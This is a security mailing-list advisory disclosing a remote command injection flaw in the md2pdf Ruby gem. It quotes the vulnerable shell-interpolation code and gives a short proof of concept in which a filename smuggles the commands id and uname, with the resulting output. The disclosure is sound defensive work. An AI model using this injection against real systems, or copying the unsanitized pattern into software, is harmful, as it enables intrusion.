[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-id: <e22654bc-b61d-4e62-a02a-07d8362f473e@me.com>
Date: Sat, 13 Apr 2013 02:09:20 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote command injection md2pdf ruby gem
Remote command injection md2pdf ruby gem
4/10/2013
Description: "creates pdf documents from markdown documents"
https://rubygems.org/gems/md2pdf
In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.
12 shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")
23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} outpu t #{output_filename}")
Where exec is defined as the following:
37 def exec(command_line)
38 require 'open3'
39 stdin, stdout, stderr = Open3.popen3(command_line)
40 return stdout.read
41 end
Notes
irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil
http://vapid.dhs.org/advisories/md2pdf-remote-exec.html
This vulnerability doesn't have a CVE yet assigned.
Larry W. Cashdollar
@_larry0
Content of type "text/html" skipped
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
